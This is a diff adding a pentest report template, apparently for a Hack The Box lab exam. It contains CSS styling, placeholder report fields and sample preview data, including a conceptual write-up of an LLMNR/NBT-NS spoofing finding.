+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #ffc400; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-highlight: #9FEF00; + --color-secondary: #A6B0CB; + + --color-table-header: #9FEF00; + --color-table-row-even: #A4B1CD; + --color-table-row-odd: #BFC8DC; + --color-table-content: #151515; + + --color-page-background: #161D2A; +} + +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; + background-color: var(--color-page-background); +} + +/* Font */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; + color: white; +} +h1, h2, h3, h4, h5, h6 { + color: var(--color-highlight); +} + +/* Justify text */ +p { + text-align: justify; + text-align-last: start; +} + +a { + color: var(--color-secondary); /* Set the color of unvisited links */ + text-decoration: underline; /* Remove the underline from unvisited links */ +} + + +/* Table styling */ +table, th, td { + border: 1px solid white; +} +th { + background-color: var(--color-table-header); + color: var(--color-table-content); +} +th, td { + padding: 0.2em 0.5em 0.2em 0.5em; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.2em 0.5em 0.2em 0.5em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +td.table-key { + height: 3em; + width: 10em; +} +tr{ + color: var(--color-table-content); +} +tr:nth-child(even) { + background-color: var(--color-table-row-even) +} +tr:nth-child(odd) { + background-color: var(--color-table-row-odd) +} + + +/* Code block styling */ +pre code { + border: 1px solid white; + padding: 0.2em !important; +} +code { + color: var(--color-highlight); + background-color: inherit; +} + +.code-important{ + background-color: yellow; + color: red; + font-style: italic; +} + +/* Footnotes */ +@page { + @footnote { + border-top: 1px solid white; + } +} +footnote { + font-size: 8pt; +} + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page .ref-title, .ref-finding-number .ref-title { + display: none !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-finding-number::before { + content: target-counter(attr(href), finding-number); +} + +.findings-list { + counter-reset: finding-number; +} +.finding-number { + color: white; +} +.finding-number::before { + counter-increment: finding-number; + content: counter(finding-number) ". "; +} + + + +/* Finding */ +.finding-header .table-key { + height: 3em; + width: 10em; +} +.finding-header tr { + break-inside: auto; +} +.finding-header-color{ + font-size: 12pt; + color: white !important; +} + + + + +/*CSS classes for multiple systems */ +.finding-systems { + padding-left: 1em; +} +.finding-systems-cols { + column-count: 2; + padding-top: 1em; + margin-bottom: 1em; +} + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + +/* #region header */ +@page { + margin-top: 35mm; + + --header-margin-bottom: 5mm; + + @top-left-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + } + @top-left { + content: element(header-left); + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + width: 100%; + } + @top-right-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + } +} +#header-left { + position: running(header-left); + display: flex; + flex-direction: row; + align-items: center; +} +#header-logo { height: 20mm; } +#header-text { font-size: 14pt; margin-left: -3mm; } +/* #endregion header */ + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer-left { position: running(footer-left); } +#footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region page-cover */ +#page-cover-logo { + position: absolute; + top: 5%; + left: 2cm; + height: 6cm; + transform: translate(-50%, -50%); + display: inline-block +} + +#page-cover-logo-title { + position: absolute; + top: 5%; + left: 9.5cm; + transform: translate(-50%, -50%); + display: inline-block; + font-size: 42pt; +} + +#page-cover-title { + position: absolute; + top: 40%; + left: 50%; + width: 14cm; + transform: translate(-50%, -50%); + text-align: center; +} +#page-cover-title h1 { + font-size: 32pt; + color: white; +} +#page-cover-title h2 { + font-size: 24pt; + color: white; +} +#page-cover-title h3 { + font-size: 12pt; + color: white; +} +#page-cover-report-title{ + color: var(--color-highlight) !important; +} + +#page-cover-recipient { + position: absolute; + top: 80%; + left: 50%; + width: 14cm; + transform: translate(-50%, -50%); + display: inline-block; + text-align: right; +} + +#page-cover-recipient h1 { + font-size: 16pt; + color: var(--color-highlight); +} +#page-cover-recipient h2 { + font-size: 12pt; + color: var(--color-secondary); +} + +@page :first { + /* Hide header */ + @top-left-corner { content: none !important; } + @top-left { content: none !important; } + @top-right-corner { content: none !important; } + /* Hide footer (except "confidential") */ + @bottom-center { content: none !important; } + @bottom-right-corner { content: none !important; } +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; + color: var(--color-secondary); +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 14pt; + margin-top: 0.8em; + color: white; +} +#toc .toc-level2 { + font-size: 12pt; + margin-top: 0.5em; + margin-left: 1em; +} +#toc .toc-level3 { + font-size: 10pt; + margin-top: 0.4em; + margin-left: 2em; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Report Title" +origin = "core" +default = "TODO Internal Pentest" +required = true +spellcheck = false + +[report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +The scope of this assessment was one external IP address, two internal network ranges, the TODO INSERT DOMAIN NAME Active Directory domain, and any other Active Directory domains owned by {{ report.customer_short }} discovered if internal network access were achieved. + +### In Scope Assets +| Host/URL/IP Address | Description | +|:---|:---| +| TODO 10.129.X.X | TODO | +| 172.16.139.0/24 | {{ report.customer_short }} internal network | +| 172.16.210.0/24 | {{ report.customer_short }} internal network | +| TODO | {{ report.customer_short }} internal AD domain | +| TODO other discovered internal domain(s) | TODO | +""" +required = true + +[report_fields.approach] +type = "markdown" +label = "Approach" +origin = "custom" +default = "{{ report.candidate.a_name }} performed testing under a “{{ report.pentest_approach.label }}” approach from {{ formatDate(report.pentest_start, 'long') }}, to {{ formatDate(report.pentest_end, 'long') }} without credentials or any advance knowledge of {{ report.customer_short }}’s externally facing environment with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was performed remotely from {{ report.candidate.a_name }}'s assessment labs. Each weakness identified was documented and manually investigated to determine exploitation possibilities and escalation potential. {{ report.candidate.a_name }} sought to demonstrate the full impact of every vulnerability, up to and including internal domain compromise. If {{ report.candidate.a_name }} were able to gain a foothold in the internal network, {{ report.customer_short }} as a result of external network testing, {{ report.customer_short }} allowed for further testing including lateral movement and horizontal/vertical privilege escalation to demonstrate the impact of an internal network compromise." +required = true + +[report_fields.candidate] +type = "object" +label = "HTB Candidate" +origin = "custom" + +[report_fields.candidate.properties] +[report_fields.candidate.properties.a_name] +type = "string" +label = "Full Name" +origin = "custom" +default = "TODO Candidate Name" +required = true +spellcheck = false + +[report_fields.candidate.properties.b_title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Candidate Title" +required = true +spellcheck = false + +[report_fields.candidate.properties.c_email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO Candidate Email" +required = true +spellcheck = false + +[report_fields.long_term] +type = "markdown" +label = "Long Term" +origin = "custom" +default = """ +TODO LONG TERM REMEDIATION: +* Perform ongoing internal network vulnerability assessments and domain password audits +* Perform periodic Active Directory security assessments +* Educate systems and network administrators and developers on security hardening best practices compromise +* Enhance network segmentation to isolate critical hosts and limit the effects of an internal compromise +* TODO FILL IN AS APPROPRIATE + +TODO FILL IN BASED ON FINDINGS, EXAMPLES LEFT FOR REFERENCE +""" +required = true + +[report_fields.short_term] +type = "markdown" +label = "Short Term" +origin = "custom" +default = """ +TODO SHORT TERM REMEDIATION: +* [Finding Reference 1](#findingid1) - Set strong (24+ character) passwords on all SPN accounts +* [Finding Reference 2](#findingid2) - TODO FILL IN AS APPROPRIATE +* [Finding Reference 3](#findingid3) - Enforce a password change for all users because of the domain compromise + +TODO FILL IN BASED ON FINDINGS, EXAMPLES LEFT FOR REFERENCE +""" +required = true + +[report_fields.medium_term] +type = "markdown" +label = "Medium Term" +origin = "custom" +default = """ +TODO MEDIUM TERM REMEDIATION: +* [Finding Reference 1](#findingid1) - Disable LLMNR and NBT-NS wherever possible +* [Finding Reference 2](#findingid2) - TODO FILL IN AS APPROPRIATE + +TODO FILL IN BASED ON FINDINGS, EXAMPLES LEFT FOR REFERENCE +""" +required = true + +[report_fields.pentest_end] +type = "date" +label = "Pentest End" +origin = "custom" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.customer_full] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO Customer Ltd." +required = true +spellcheck = false + +[report_fields.pentest_start] +type = "date" +label = "Pentest Start" +origin = "custom" +required = true + +[report_fields.appendix_flags] +type = "markdown" +label = "Flags Discovered" +origin = "custom" +default = """ +| Flag # | Host | Flag Value | Flag Location | Method Used | +| ------- | ------- | ------- | ------- | ------- | +| 1. | TODO HOSTNAME | TODO MD5 HASH | TODO Web root | TODO Unrestricted file upload (example) | +| 2. | | | | | +| 3. | | | | | +| 4. | | | | | +| 5. | | | | | +| 6. | | | | | +| 7. | | | | | +| 8. | | | | | +| 9. | | | | | +| 10. | | | | | +| 11. | | | | | +| 12. | | | | | +| 13. | | | | | +""" +required = false + +[report_fields.customer_short] +type = "string" +label = "Customer (abbreviated)" +origin = "custom" +default = "TODO Customer" +required = true +spellcheck = false + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "TODO 1.0" +required = true +spellcheck = false + +[report_fields.finding_summary] +type = "markdown" +label = "Summary of Findings" +origin = "custom" +default = "During the course of testing, {{ report.candidate.a_name }} uncovered a total of {{ finding_stats.count_total }} findings that pose a material risk to {{ report.customer_short }}’s information systems. {{ report.candidate.a_name }} also identified {{ finding_stats.count_info }} informational finding that, if addressed, could further strengthen {{ report.customer_short }}’s overall security posture. Informational findings are observations for areas of improvement by the organization and do not represent security vulnerabilities on their own. The below chart provides a summary of the findings by severity level." +required = true + +[report_fields.network_summary] +type = "markdown" +label = "Network Summary" +origin = "custom" +default = "{{ report.candidate.a_name }} began all testing activities from the perspective of an unauthenticated user on the internet. {{ report.customer_short }} provided the tester with network ranges but did not provide additional information such as operating system or configuration information." +required = true + +[report_fields.appendix_cleanup] +type = "markdown" +label = "Changes/Host Cleanup" +origin = "custom" +default = """ +| Host | Scope | Change/Cleanup Needed | +| ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | | | +""" +required = false + +[report_fields.pentest_approach] +type = "enum" +label = "Pentest Approach" +origin = "custom" +default = "BLACKBOX" +required = true + +[[report_fields.pentest_approach.choices]] +label = "Black Box" +value = "BLACKBOX" + +[[report_fields.pentest_approach.choices]] +label = "Grey Box" +value = "GREYBOX" + +[[report_fields.pentest_approach.choices]] +label = "White Box" +value = "WHITEBOX" + +[report_fields.customer_contacts] +type = "list" +label = "Customer Contacts" +origin = "custom" +required = true + +[report_fields.customer_contacts.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.customer_contacts.items.properties] +[report_fields.customer_contacts.items.properties.a_name] +type = "string" +label = "Name" +origin = "custom" +default = "TODO Name" +required = true +spellcheck = false + +[report_fields.customer_contacts.items.properties.b_title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Title" +required = true +spellcheck = false + +[report_fields.customer_contacts.items.properties.c_email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO Email" +required = true +spellcheck = false + +[report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = "{{ report.customer_full }} (“{{ report.customer_short }}” herein) contracted {{ report.candidate.a_name }} to perform a Network Penetration Test of {{ report.customer_short }}’s externally facing network to identify security weaknesses, determine the impact to {{ report.customer_short }}, document all findings in a clear and repeatable manner, and provide remediation recommendations." +required = true + +[report_fields.appendix_severities] +type = "markdown" +label = "Finding Severities" +origin = "custom" +default = """ +Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is based off of an assessment of the priority with which each finding should be viewed and the potential impact each has on the confidentiality, integrity, and availability of {{ report.customer_short }}’s data. + +| Rating | CVSS Score Range | +| -------- | ---------------- | +| Critical | 9.0 – 10.0 | +| High | 7.0 – 8.9 | +| Medium | 4.0 – 6.9 | +| Low | 0.1 – 3.9 | +| Info | 0.0 | +""" +required = false + +[report_fields.assessment_overview] +type = "markdown" +label = "Assessment Overview and Recommendations" +origin = "custom" +default = """ +During the penetration test against {{ report.customer_short }}, {{ report.candidate.a_name }} identified {{ finding_stats.count_total }} findings that threaten the confidentiality, integrity, and availability of {{ report.customer_short }}’s information systems. The findings were categorized by severity level, with TODO SEVERITY RATINGS HERE {{ finding_stats.count_critical }} of the findings being assigned a critical-risk rating, {{ finding_stats.count_hight }} high-risk, {{ finding_stats.count_medium }} medium-risk, and {{ finding_stats.count_low }} low risk. There were also {{ finding_stats.count_info }} informational finding related to enhancing security monitoring capabilities within the internal network. + +TODO EXECUTIVE SUMMARY HERE + +{{ report.customer_short }} should create a remediation plan based on the [Remediation Summary](#remediation-summary) section of this report, addressing all high findings as soon as possible according to the needs of the business. {{ report.customer_short }} should also consider performing periodic vulnerability assessments if they are not already being performed. Once the issues identified in this report have been addressed, a more collaborative, in-depth Active Directory security assessment may help identify additional opportunities to harden the Active Directory environment, making it more difficult for attackers to move around the network and increasing the likelihood that {{ report.customer_short }} will be able to detect and respond to suspicious activity. +""" +required = true + +[report_fields.remediation_summary] +type = "markdown" +label = "Remediation Summary" +origin = "custom" +default = "As a result of this assessment there are several opportunities for {{ report.customer_short }} to strengthen its internal network security. Remediation efforts are prioritized below starting with those that will likely take the least amount of time and effort to complete. {{ report.customer_short }} should ensure that all remediation steps and mitigating controls are carefully planned and tested to prevent any service disruptions or loss of data." +required = true + +[report_fields.walkthrough_details] +type = "markdown" +label = "Detailed Walkthrough" +origin = "custom" +default = """ +{{ report.candidate.a_name }}performed the following to fully compromise the TODO INSERT DOMAIN NAME domain. + +1. TODO LIST HIGH LEVEL STEPS +2. ... + +**Detailed reproduction steps for this attack chain are as follows:** +TODO FILL IN DETAILED ATTACK CHAIN STEPS + +{{ report.candidate.a_name }}then performed the following to fully compromise the TODO INSERT OTHER INTERNAL DOMAIN NAME(S) domain. + +1. TODO LIST HIGH LEVEL STEPS +2. ... + +**Detailed reproduction steps for this attack chain are as follows:** +TODO FILL IN DETAILED ATTACK CHAIN STEPS +""" +required = true + +[report_fields.walkthrough_summary] +type = "markdown" +label = "Walkthrough Summary" +origin = "custom" +default = "During the course of the assessment {{ report.candidate.a_name }} was able gain a foothold via the external network, move laterally, and compromise the internal network, leading to full administrative control over the TODO INSERT DOMAIN NAME Active Directory domain. The steps below demonstrate the steps taken from initial access to compromise and does not include all vulnerabilities and misconfigurations discovered during the course of testing. Any issues not used as part of the path to compromise are listed as separate, standalone issues in the [Technical Findings Details](#findings) section, ranked by severity level. The intent of this attack chain is to demonstrate to {{ report.customer_short }} the impact of each vulnerability shown in this report and how they fit together to demonstrate the overall risk to the client environment and help to prioritize remediation efforts (i.e., patching two flaws quickly could break up the attack chain while the company works to remediate all issues reported). While other findings shown in this report could be leveraged to gain a similar level of access, this attack chain shows the initial path of least resistance taken by the tester to achieve domain compromise." +required = true + +[report_fields.appendix_host_discovery] +type = "markdown" +label = "Host & Service Discovery" +origin = "custom" +default = """ +| IP Address | Port | Service | Notes | +| ------- | ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | | | | + +""" +required = false + +[report_fields.appendix_exploited_hosts] +type = "markdown" +label = "Exploited Hosts" +origin = "custom" +default = """ +| Host | Scope | Method | Notes | +| ------- | ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | Text | Text |Text | +""" +required = false + +[report_fields.appendix_compromised_users] +type = "markdown" +label = "Compromised Users" +origin = "custom" +default = """ +| Username | Type | Method | Notes | +| ------- | ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | Text | Text |Text | +""" +required = false + +[report_fields.appendix_additional_sections] +type = "list" +label = "Additional Appendix" +origin = "custom" +required = false + +[report_fields.appendix_additional_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_additional_sections.items.properties] +[report_fields.appendix_additional_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Appendix Title" +required = true +spellcheck = false + +[report_fields.appendix_additional_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO Additional Appendix" +required = true + +[report_fields.appendix_subdomain_discovery] +type = "markdown" +label = "Subdomain Discovery" +origin = "custom" +default = """ +| URL | Description | Discovery Method | +| ------- | ------- | ------- | +| TODO FILL IN DISCOVERED VHOSTS/SUBDOMAINS | | | +""" +required = false + +[[report_sections]] +id = "meta" +label = "Meta" +fields = [ + "candidate", + "title", + "customer_full", + "customer_short", + "pentest_approach", + "pentest_start", + "pentest_end", + "report_date", + "report_version", +] + +[[report_sections]] +id = "document_control" +label = "Document Control" +fields = [ + "customer_contacts", +] + +[[report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", + "approach", + "scope", + "assessment_overview", +] + +[[report_sections]] +id = "network_pentest_summary" +label = "Network Penetration Test Assessment Summary" +fields = [ + "network_summary", + "finding_summary", +] + +[[report_sections]] +id = "network_pentest_walkthrough" +label = "Internal Network Compromise Walkthrough" +fields = [ + "walkthrough_summary", + "walkthrough_details", +] + +[[report_sections]] +id = "remediation_summary" +label = "Remediation Summary" +fields = [ + "remediation_summary", + "short_term", + "medium_term", + "long_term", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_severities", + "appendix_host_discovery", + "appendix_subdomain_discovery", + "appendix_exploited_hosts", + "appendix_compromised_users", + "appendix_cleanup", + "appendix_flags", + "appendix_additional_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Titel" +origin = "core" +default = "TODO FINDING TITLE" +required = true +spellcheck = false + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "predefined" +default = "n/a" +required = true + +[finding_fields.summary] +type = "markdown" +label = "Overview" +origin = "predefined" +default = "TODO DESCRIPTION" +required = true + +[finding_fields.impact] +type = "markdown" +label = "Impact" +origin = "predefined" +default = "TODO IMPACT" +required = true + +[finding_fields.description] +type = "markdown" +label = "Details" +origin = "predefined" +default = """ +``` +ADD COMMAND OUTPUT AS APPROPRIATE +``` + +TODO ADD SCREENSHOTS AS APPROPRIATE +""" +required = false + +[finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO REMEDIATION" +required = true + +[finding_fields.cwe] +type = "string" +label = "CWE" +origin = "custom" +default = "TODO CWE" +required = false +spellcheck = false + +[finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[finding_fields.references.items] +type = "string" +label = "Reference" +origin = "predefined" +default = "TODO REFERENCES" +required = true +spellcheck = false + +[finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = false + +[finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO AFFECTED COMPONENT" +required = true +spellcheck = false + +[[finding_ordering]] +field = "cvss" +order = "desc" + +[[finding_ordering]] +field = "title" +order = "asc" + +[report_preview_data] +[report_preview_data.report] +title = "Trilocor Network Pentest" +scope = """ +The scope of this assessment was one external IP address, two internal network ranges, the TODO Active Directory domain, and any other Active Directory domains owned by {{ report.customer_short }} discovered if internal network access were achieved. + +### In Scope Assets +| Host/URL/IP Address | Description | +|:---|:---| +| TODO 10.129.X.X | TODO | +| 172.16.139.0/24 | {{ report.customer_short }} internal network | +| 172.16.210.0/24 | {{ report.customer_short }} internal network | +| TODO | {{ report.customer_short }} internal AD domain | +| TODO other discovered internal domain(s) | TODO | +""" +report_date = "2023-05-31" +report_version = "1.0" +executive_summary = "{{ report.customer_full }} (“{{ report.customer_short }}” herein) contracted {{ report.candidate.a_name }} to perform a Network Penetration Test of {{ report.customer_short }}’s externally facing network to identify security weaknesses, determine the impact to {{ report.customer_short }}, document all findings in a clear and repeatable manner, and provide remediation recommendations." +customer_short = "Trilocor" +customer_full = "Trilocor Robotics Ltd." +approach = "{{ report.candidate.a_name }} performed testing under a “{{ report.pentest_approach.label }}” approach from {{ formatDate(report.pentest_start, 'long') }}, to {{ formatDate(report.pentest_end, 'long') }} without credentials or any advance knowledge of {{ report.customer_short }}’s externally facing environment with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was performed remotely from {{ report.candidate.a_name }}'s assessment labs. Each weakness identified was documented and manually investigated to determine exploitation possibilities and escalation potential. {{ report.candidate.a_name }} sought to demonstrate the full impact of every vulnerability, up to and including internal domain compromise. If {{ report.candidate.a_name }} were able to gain a foothold in the internal network, {{ report.customer_short }} as a result of external network testing, {{ report.customer_short }} allowed for further testing including lateral movement and horizontal/vertical privilege escalation to demonstrate the impact of an internal network compromise." +pentest_start = "2023-05-12" +pentest_end = "2023-05-31" +pentest_approach = "BLACKBOX" +assessment_overview = """ +During the penetration test against {{ report.customer_short }}, {{ report.candidate.a_name }} identified {{ finding_stats.count_total }} findings that threaten the confidentiality, integrity, and availability of {{ report.customer_short }}’s information systems. The findings were categorized by severity level, with TODO SEVERITY RATINGS HERE {{ finding_stats.count_critical }} of the findings being assigned a critical-risk rating, {{ finding_stats.count_high }} high-risk rating, {{ finding_stats.count_medium }} medium-risk, and {{ finding_stats.count_low }} low risk. There was also {{ finding_stats.count_info }} informational finding related to enhancing security monitoring capabilities within the internal network. + +TODO EXECUTIVE SUMMARY HERE + +{{ report.customer_short }} should create a remediation plan based on the [Remediation Summary](#remediation-summary) section of this report, addressing all high findings as soon as possible according to the needs of the business. {{ report.customer_short }} should also consider performing periodic vulnerability assessments if they are not already being performed. Once the issues identified in this report have been addressed, a more collaborative, in-depth Active Directory security assessment may help identify additional opportunities to harden the Active Directory environment, making it more difficult for attackers to move around the network and increasing the likelihood that {{ report.customer_short }} will be able to detect and respond to suspicious activity. +""" +network_summary = "{{ report.candidate.a_name }} began all testing activities from the perspective of an unauthenticated user on the internet. {{ report.customer_short }} provided the tester with network ranges but did not provide additional information such as operating system or configuration information." +finding_summary = "During the course of testing, {{ report.candidate.a_name }} uncovered a total of {{ finding_stats.count_total }} findings that pose a material risk to {{ report.customer_short }}’s information systems. {{ report.candidate.a_name }} also identified {{ finding_stats.count_info }} informational finding that, if addressed, could further strengthen {{ report.customer_short }}’s overall security posture. Informational findings are observations for areas of improvement by the organization and do not represent security vulnerabilities on their own. The below chart provides a summary of the findings by severity level." +walkthrough_summary = "During the course of the assessment {{ report.candidate.a_name }} was able gain a foothold via the external network, move laterally, and compromise the internal network, leading to full administrative control over the TODO INSERT DOMAIN NAME Active Directory domain. The steps below demonstrate the steps taken from initial access to compromise and does not include all vulnerabilities and misconfigurations discovered during the course of testing. Any issues not used as part of the path to compromise are listed as separate, standalone issues in the [Technical Findings Details](#findings) section, ranked by severity level. The intent of this attack chain is to demonstrate to {{ report.customer_short }} the impact of each vulnerability shown in this report and how they fit together to demonstrate the overall risk to the client environment and help to prioritize remediation efforts (i.e., patching two flaws quickly could break up the attack chain while the company works to remediate all issues reported). While other findings shown in this report could be leveraged to gain a similar level of access, this attack chain shows the initial path of least resistance taken by the tester to achieve domain compromise." +walkthrough_details = """ +{{ report.candidate.a_name }}performed the following to fully compromise the TODO INSERT DOMAIN NAME domain. + +1. TODO LIST HIGH LEVEL STEPS +2. ... + +**Detailed reproduction steps for this attack chain are as follows:** + +TODO FILL IN DETAILED ATTACK CHAIN STEPS + +{{ report.candidate.a_name }}then performed the following to fully compromise the TODO INSERT OTHER INTERNAL DOMAIN NAME(S) domain. + +1. TODO LIST HIGH LEVEL STEPS +2. ... + +**Detailed reproduction steps for this attack chain are as follows:** + +TODO FILL IN DETAILED ATTACK CHAIN STEPS +""" +remediation_summary = "As a result of this assessment there are several opportunities for {{ report.customer_short }} to strengthen its internal network security. Remediation efforts are prioritized below starting with those that will likely take the least amount of time and effort to complete. {{ report.customer_short }} should ensure that all remediation steps and mitigating controls are carefully planned and tested to prevent any service disruptions or loss of data." +short_term = """ +TODO SHORT TERM REMEDIATION: +* [Finding Reference 1](#a10eed1a-07f5-46ef-bf3a-b78208e72272) - Set strong (24+ character) passwords on all SPN accounts +* [Finding Reference 2](#89b9d011-8782-4a14-be15-ead66d720936) - TODO FILL IN AS APPROPRIATE +* [Finding Reference 3](#f622369f-782e-4d77-bf2d-493b85747b3b) - Enforce a password change for all users because of the domain compromise + +TODO FILL IN BASED ON FINDINGS, EXAMPLES LEFT FOR REFERENCE +""" +medium_term = """ +TODO MEDIUM TERM REMEDIATION: +* [Finding Reference 1](#a10eed1a-07f5-46ef-bf3a-b78208e72272) - Disable LLMNR and NBT-NS wherever possible +* [Finding Reference 2](#89b9d011-8782-4a14-be15-ead66d720936) - TODO FILL IN AS APPROPRIATE + +TODO FILL IN BASED ON FINDINGS, EXAMPLES LEFT FOR REFERENCE +""" +long_term = """ +TODO LONG TERM REMEDIATION: +* Perform ongoing internal network vulnerability assessments and domain password audits +* Perform periodic Active Directory security assessments +* Educate systems and network administrators and developers on security hardening best practices compromise +* Enhance network segmentation to isolate critical hosts and limit the effects of an internal compromise +* TODO FILL IN AS APPROPRIATE + +TODO FILL IN BASED ON FINDINGS, EXAMPLES LEFT FOR REFERENCE +""" +appendix_subdomain_discovery = """ +| URL | Description | Discovery Method | +| ------- | ------- | ------- | +| TODO FILL IN DISCOVERED VHOSTS/SUBDOMAINS | | | +""" +appendix_host_discovery = """ +| IP Address | Port | Service | Notes | +| ------- | ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | | | | + +""" +appendix_exploited_hosts = """ +| Host | Scope | Method | Notes | +| ------- | ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | Text | Text |Text | +""" +appendix_compromised_users = """ +| Username | Type | Method | Notes | +| ------- | ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | Text | Text |Text | +""" +appendix_cleanup = """ +| Host | Scope | Change/Cleanup Needed | +| ------- | ------- | ------- | +| TODO FILL IN AS APPROPRIATE | | | +""" +appendix_flags = """ +| Flag # | Host | Flag Value | Flag Location | Method Used | +| ------- | ------- | ------- | ------- | ------- | +| 1. | TODO HOSTNAME | TODO MD5 HASH | TODO Web root | TODO Unrestricted file upload (example) | +| 2. | | | | | +| 3. | | | | | +| 4. | | | | | +| 5. | | | | | +| 6. | | | | | +| 7. | | | | | +| 8. | | | | | +| 9. | | | | | +| 10. | | | | | +| 11. | | | | | +| 12. | | | | | +| 13. | | | | | +""" +appendix_severities = """ +Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is based off of an assessment of the priority with which each finding should be viewed and the potential impact each has on the confidentiality, integrity, and availability of {{ report.customer_short }}’s data. + +| Rating | CVSS Score Range | +| -------- | ---------------- | +| Critical | 9.0 – 10.0 | +| High | 7.0 – 8.9 | +| Medium | 4.0 – 6.9 | +| Low | 0.1 – 3.9 | +| Info | 0.0 | +""" +appendix_additional_sections = [] + +[[report_preview_data.report.customer_contacts]] +a_name = "Yelon Husk" +b_title = "Chief Executive Officer" +c_email = "yelon@trilocor.local" + +[[report_preview_data.report.customer_contacts]] +a_name = "Zeyad AlMadani" +b_title = "Chief Technical Officer" +c_email = "zeyad@trilocor.local" + +[report_preview_data.report.candidate] +a_name = "" +b_title = "Security Consultant" +c_email = "" + +[[report_preview_data.findings]] +title = "LLMNR/NBT-NS Response Spoofing" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +summary = """ +By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary-controlled system. This activity may be used to collect or relay authentication materials. +Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are +Security Impact +Affected Domain +Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. +""" +impact = """ +Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary-controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary-controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary-controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system relay step can happen in conjunction with poisoning but may also be independent of it. +Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. +""" +description = """ +TODO DETAILED REPRODUCTION STEPS + +Running the [Responder](https://github.com/lgandx/Responder) tool to attempt to obtain user account password hashes. + 